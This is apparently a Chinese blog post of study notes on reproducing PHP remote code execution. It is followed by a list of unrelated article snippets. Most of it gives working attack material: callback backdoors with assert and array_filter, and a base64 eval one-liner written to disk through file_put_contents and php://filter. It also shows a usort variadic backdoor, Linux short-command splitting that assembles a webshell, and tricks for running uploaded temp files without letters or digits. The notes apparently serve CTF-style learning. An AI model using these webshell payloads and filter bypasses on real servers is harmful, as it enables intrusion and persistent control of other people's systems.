当前位置: 首页 > news >正文

RCE漏洞复现

PHP命令执行常用函数

回调函数必须是命令执行和代码执行的函数,有两个条件

必须是函数,而且需要有函数运行的参数

危害:可以直接删除文件,添加文件,甚至可以添加用户

system  --执行外部程序,并且显示输出 
exec --执行一个外部程序   输出的是数组  要echo
passthru-- 执行外部程序并且显示原始输出  类似system 直接输出
shell_exec-- 要有echo输出才行
proc_open --打开进程文件指针  
popen --- 从管道执行命令

代码执行,只能执行php代码不能执行命令

eval  
assert
call_user_func 
call_user_func_arrayassert(eval($_post[123]));
call_user_func('assert',$_REQUEST['pass']);  //加了eval  蚁剑可以连接

rce的基础 php的回调后门

array_fillter 回调函数

$e = $_REQUEST['e'];
$arr array($_POST['pass'],);
array_filter($arr, base64_decode($e));

绕过安全狗

get_meta_tags 引入参数

eval();传入的参数需要引号

EVAL长度限制突破技巧

linux下反引号是可以执行命令的

<?php
$param = $_REQUEST['param']; //全局数组,接收GET,POST,COOKIE数据
If (
strlen($param) < 17 &&  
stripos($param, 'eval') === false &&  // 检查$param 是否含‘eval’ 不含就返回falase   和后面的false相等   就是true
stripos($param, 'assert') === false  //同上
) {
eval($param);  //当上面的都为真时,才执行  。
}
//虽然代码检查了 eval 和 assert 字符串,依然有可能存在其他恶意代码或利用漏洞的方式

所以可以用

`$_GET[1]`  去用命令执行 去绕过  反引号在Linux下是可以执行命令的`$_GET[1]`;&1=任何的恶意代码
最后需要用 echo 打印出来   因为eval执行不显示页面

也可用

foo.php?1=file_put_contents&param=$_GET[1](N,P,8); //底层c语言写的8
foo.php?1=file_put_contents&param=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中   */
​
foo.php?param=include$_GET[1];&1=php://filter/read=convert.b  ase64-decode/resource=N
为什么这里要转成base64呢,不直接追加呢,因为file_put_contents 是追加不了特殊字符的< ?
然后用php伪协议 把这base64转成正常的一句话了,然后用文件包含直接执行了
include 视为一切文件为php执行文件 
解码出来为<?php eval($POST[9])

也可以用

usort(...$_GET);
foo.php?1[]=test&1[]=phpinfo();&2=assert
PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行
...在php中表示为变长参数,js也是
抓包burpsuite
所有回调函数都是把接受到的参数,放在回调函数去执行

8个字符长短,更符合Linux下的环境

Linux命令长度限制突破方法

<?php
$param = $_REQUEST['param'];  
if ( strlen($param) < 8 ) 
{  echo shell_exec($param); //可以直接执行Linux命令 
}

$ ls -t
ech\ o \    PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\  7|\
bas\ e64\   -\  d>\ c.p\ hp
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>  c.php
ls -t>0 以时间先后顺序创建文件  0里面的内容就是base64编码  然后
sh 0 

把一句话木马base64之后的编码一点点写成文件形式,以时间的形式排序,最后执行这一串编码

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>  c.php
ls -t | xxd 以十六进制查看文件

php一句话木马中,一定是要以base64编码写入的

还有种思路:就是在post中生成临时文件,匹配到临时文件,然后执行临时文件的代码

  .  /t*/*  //因为shell_exec本身就能执行Linux的命令,所以在param传参的时候不用加反引号执行了

无字母数字webshell之命令执行

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");//取反绕过正则}eval($code);
}else{highlight_file(__FILE__);
}

取反用符号~

但是这种语法只能php7

文件上传就往web.php上面去传,不管它接不接,我只要这个临时文件

难点:如果没有接,php就会把临时文件删掉。但是不知道临时文件名

先定义一个文件上传,然后上传文件,然后去/tmp下看有没有生成临时文件,然后执行文件

里面的upload 需要改一下

前提要能执行临时文件,但是匹配不到临时文件,需要解决这个问题

GET和post同步执行。临时文件有一个特别的点,就是php临时文件生成是有规律的,最后一个字母,一次是大写一次是小写。

Linux通配符 glob 通配符

可以用'?' '*' '[' '[]'

eval 首先要先闭合?>php 后面才可以写 。用@匹配最后一个字母大写

eval 只是代码执行,但并不能执行Linux代码,所以少了一个Linux执行命令的东西,那就是反引号,那加上反引号就行了吗?很明显不行,要遵循urlcode编码,不能有空格 需要把空格改成加号 把空格换成%20 也可以

其实在burpsuite下面不用编码也可以 直接传,但是从url传的话就必须转码

这三部分 需要 粘贴到抓的web.php的包中 因为这是post传参

无参数读文件和RCE总结

这个就需要函数嵌套函数去执行,时间函数去拿.

也可以用array_rand 和array_flip 拿文件

next(getallheaders())绕过这个限制 ,但是这个函数只能apache2里面使用

相关文章:

RCE漏洞复现

PHP命令执行常用函数 回调函数必须是命令执行和代码执行的函数&#xff0c;有两个条件 必须是函数&#xff0c;而且需要有函数运行的参数 危害&#xff1a;可以直接删除文件&#xff0c;添加文件&#xff0c;甚至可以添加用户 system --执行外部程序&#xff0c;并且显示输…...

Qt QTabWidget之创建标签页的多页面切换

QTabWidget 用来分页显示 重要函数: 1.void setTabText(int, QString); //设置页面的名字. 2.void setTabToolTip(QString); //设置页面的提示信息. 3.void setTabEnabled(bool); //设置页面是否被激活. 4.void setTabPosition(QTabPosition::South); //设置页面名字的位置. 5.…...

【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出

【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出 文章目录 【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出1.简介2.验证用例3.软件代码4.链接脚本5.编译脚本6.仿真结果6.1 复位结束6.2 运行成功6.3 终端打印 7.总结 1.简介 本文将详细阐述如何利用 printf 来打印字符串…...

时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention

时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention 文章目录 前言时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention 一、VMD-TCN-BiLSTM-Attention模型1. **…...

Python知识点:如何使用Godot与Python进行游戏脚本编写

在Godot中使用Python进行游戏脚本编写&#xff0c;你需要通过一个插件来实现&#xff0c;因为Godot原生支持的脚本语言是GDScript、VisualScript和C#。这个插件被称为Godot-Python&#xff0c;它允许你在Godot引擎中使用Python编写脚本。以下是详细的步骤指导你如何配置和使用G…...

Spring MVC数据绑定和响应学习笔记

学习视频:12001 数据绑定_哔哩哔哩_bilibili 目录 1.数据绑定 简单数据绑定 默认类型数据绑定 简单数据类型绑定的概念 参数别名的设置 PathVariable注解的两个常用属性 POJO绑定 自定义类型转换器 xml方式 注解方式 数组绑定 集合绑定 复杂POJO绑定 属性为对象类…...

Vulnhub JIS-CTF靶机详解

项目地址 https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 修改靶机的网卡 开机时长按shift&#xff0c;进入此页面 选择root模式进入 将只读模式改为读写模式 mount -o remount,rw / 查看本机的网卡名称 …...

FPGA资源评估

FPGA资源评估 文章目录 FPGA资源评估前言一、资源评估1.1 资源有哪些1.2 资源统计 二、 FPGA 的基本结构三、 更为复杂的 FPGA 架构 前言 一、资源评估 大家在项目中一般会要遇到需要资源评估的情况&#xff0c;例如立了新项目&#xff0c;前期需要确定使用什么FPGA片子&…...

REST framework中Views API学习

REST framework提供了一个APIView类&#xff0c;它是Django的View类的子类。 APIView类和一般的View类有以下不同&#xff1a; 被传入到处理方法的请求不会是Django的HttpRequest类的实例&#xff0c;而是REST framework的Request类的实例。处理方法可以返回REST framework的…...

Vue(四)——总结

渐进式JavaScript框架 Vue.js是一套构建用户界面&#xff08;UI&#xff09;的渐进式JavaScript框架。 1、库和框架的区别&#xff1f; 库&#xff1a;库是提供给开发者的一个封装好的特定于某一方面的集合&#xff08;方法和函数&#xff09;&#xff0c;库没有控制权&…...

计算机毕业设计 招生宣传管理系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…...

练习题PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行

突破长度限制 使用usort上传后门 usort — 使用用户自定义的比较函数对数组中的值进行排序 paramusort(...$GET); ...为php设置可变长参数 在url地址栏中输入[]test&1[]phpinfo();&2assert 包含了phpiinfo&#xff08;&#xff09;命令执行 结合usort使用 assert…...

EPLAN关于PLC的输入输出模块绘制

EPLAN关于PLC的输入输出模块绘制 总览图上的PLC绘制原理图上的PLC绘制编辑IO注释显示总览界面IO注释自动关联总览IO地址 总览图上的PLC绘制 右键项目【新建】 页类型选择【总览】&#xff0c;描述可以自由编辑&#xff0c;之后确认即可。 由于我们需要绘制PLC的输入输出&#x…...

【Linux】sersync 实时同步

原理 rsync 是不支持实时同步的&#xff0c;通常我们借助于 inotify 这个软件来实时监控文件变化&#xff0c;一旦inotify 监控到文件变化&#xff0c;则立即调用 rsync 进行同步&#xff0c;推送到 rsync 服务端。 环境准备 步骤1&#xff1a;获取数据包 获取 sersync 的包…...

Unity 资源分享 之 恐龙Ceratosaurus资源模型携 82 个动画来袭

Unity 资源分享 之 恐龙Ceratosaurus资源模型携 82 个动画来袭 一、前言二&#xff0c;资源包内容三、免费获取资源包 一、前言 亲爱的 Unity 开发者和爱好者们&#xff0c;大家好&#xff01;今天要为大家分享一份超级酷炫的 Unity 资源——恐龙资源模型&#xff0c;而且它还…...

【AI绘画】 学习内容简介

AI绘画-学习内容简介 1. 效果展示 本次测试主要结果展示如下&#xff1a; 卡通手办定制1 卡通手办定制2 艺术写真定制 2. 主要目录 AI 绘画- 文生图&#xff0c;图生图及lora使用&#xff08;基于diffusers&#xff09; AI 绘画- 模型转换与快速生图&#xff08;基于diffus…...

树形结构查找(B树、B+树)

平衡树结构的树高为 O(logn) &#xff0c;平衡树结构包括两种平衡二叉树结构&#xff08;分别为 AVL 树和 RBT&#xff09;以及一种树结构&#xff08;B-Tree&#xff0c;又称 B 树&#xff0c;它的度大于 2 &#xff09;。AVL 树和 RBT 适合内部存储的应用&#xff0c;而 B 树…...

网络通信(TCP/UDP协议 三次握手四次挥手 )

三、TCP协议与UDP协议 1、TCP/IP、TCP、 UDP是什么 TCP/IP协议是一个协议簇&#xff0c;里面包括很多协议的&#xff0c; UDP只是其中的一个&#xff0c; 之所以命名为TCP/IP协议&#xff0c; 因为TCP、 IP协议是两个很重要的协议&#xff0c;就用他两命名了&#xff0c;而TCP…...

C# ADO.Net 通用按月建表插入数据

原理是获取原表表结构以及索引动态拼接建表SQL&#xff0c;如果月表存在则不创建&#xff0c;不存在则创建表结构 代码如下 /// <summary>/// 根据指定的表名和时间按月进行建表插入&#xff08;如果不存在对应的月表&#xff09;/// </summary>/// <param nam…...

19-ESP32-C3加大固件储存区

1默认编译情况。 2、改flash4M。ESP-IDF Partition Table Editor修改。 3、设置输入Partition Table 改自定义.CSV。保存。 4、查看命令输入Partition Table Editor打开-分区表编辑器UI。按图片增加。 nvs,data,nvs,0x9000,0x6000,, phy_init,data,phy,0xF000,0x1000,, factory…...

ollama部署embeddinggemma-300m:支持离线运行的多语言嵌入服务搭建教程

ollama部署embeddinggemma-300m&#xff1a;支持离线运行的多语言嵌入服务搭建教程 1. 引言&#xff1a;为什么选择embeddinggemma-300m 如果你正在寻找一个既小巧又强大的文本嵌入模型&#xff0c;embeddinggemma-300m绝对值得关注。这个由谷歌推出的开源模型只有3亿参数&am…...

BGP面试必问:路由聚合与多宿主网络实战避坑指南(附配置示例)

BGP面试必问&#xff1a;路由聚合与多宿主网络实战避坑指南&#xff08;附配置示例&#xff09; 在当今复杂的网络架构中&#xff0c;BGP&#xff08;边界网关协议&#xff09;作为互联网的"粘合剂"&#xff0c;其重要性不言而喻。无论是准备网络工程师面试的求职者&…...

DHCP 服务器监控:从 IP 预配到实时管理的全面指南

1. 为什么需要监控DHCP服务器&#xff1f; 想象一下你管理着一栋大型公寓楼&#xff0c;每个房间都需要分配独立的水电表。DHCP服务器就像这栋楼的物业管理系统&#xff0c;负责给每个住户&#xff08;设备&#xff09;自动分配门牌号&#xff08;IP地址&#xff09;。但如果不…...

[技术突破]EmbeddingGemma:重新定义边缘智能领域的轻量级嵌入方案

[技术突破]EmbeddingGemma&#xff1a;重新定义边缘智能领域的轻量级嵌入方案 【免费下载链接】embeddinggemma-300m-GGUF 项目地址: https://ai.gitcode.com/hf_mirrors/unsloth/embeddinggemma-300m-GGUF 技术背景&#xff1a;嵌入式场景如何突破模型性能与资源的双重…...

交互式雷达图新玩法:用R语言的plotly让微生物组数据动起来

交互式雷达图新玩法&#xff1a;用R语言的plotly让微生物组数据动起来 在微生物组研究中&#xff0c;数据可视化是揭示复杂生态模式的关键工具。传统的静态图表往往难以充分展示多维度的时序变化&#xff0c;而交互式雷达图恰好能弥补这一缺陷。想象一下&#xff0c;在学术汇报…...

Hunyuan3D-2mini与Hunyuan3D-2对比测评:轻量化模型真的能保持90%生成质量吗?

Hunyuan3D-2mini与Hunyuan3D-2深度测评&#xff1a;轻量化模型的真实表现与技术内幕 当3D内容创作从专业工作室走向大众市场&#xff0c;硬件门槛成为阻碍技术普及的最大障碍。腾讯混元实验室最新发布的Hunyuan3D-2mini宣称能在5GB显存设备上实现标准版90%的生成质量&#xff0…...

yz-女生-角色扮演-造相Z-Turbo与YOLOv5结合的智能审核系统

yz-女生-角色扮演-造相Z-Turbo与YOLOv5结合的智能审核系统 1. 项目背景与需求 在内容生成技术快速发展的今天&#xff0c;AI图像生成模型如yz-女生-角色扮演-造相Z-Turbo能够快速生成高质量的二次元角色图像。然而&#xff0c;随着生成内容的增多&#xff0c;如何确保生成内容…...

手把手教你用万物识别中文镜像:上传图片就能识别物体标签

手把手教你用万物识别中文镜像&#xff1a;上传图片就能识别物体标签 1. 准备工作与环境说明 1.1 镜像概述 万物识别-中文-通用领域镜像是一个开箱即用的图像识别工具&#xff0c;它能自动识别图片中的物体并给出中文标签。这个镜像特别适合需要快速实现图片内容识别的开发者…...

Qwen2.5-VL-7B-Instruct开源大模型:16GB显存GPU实现企业级多模态推理

Qwen2.5-VL-7B-Instruct开源大模型&#xff1a;16GB显存GPU实现企业级多模态推理 想找一个既能看懂图片&#xff0c;又能和你流畅对话的AI助手&#xff0c;但被动辄几十GB的显存要求劝退&#xff1f;今天要介绍的Qwen2.5-VL-7B-Instruct&#xff0c;可能就是你在寻找的答案。 …...

Phi-3-Mini-128K入门必看:streaming=True对长文本生成体验的提升

Phi-3-Mini-128K入门必看&#xff1a;streamingTrue对长文本生成体验的提升 1. 工具概览 Phi-3-Mini-128K是基于微软Phi-3-mini-128k-instruct模型开发的轻量化对话工具&#xff0c;专为本地部署和高效推理优化。这个工具严格遵循官方推荐规范&#xff0c;通过多项技术创新解…...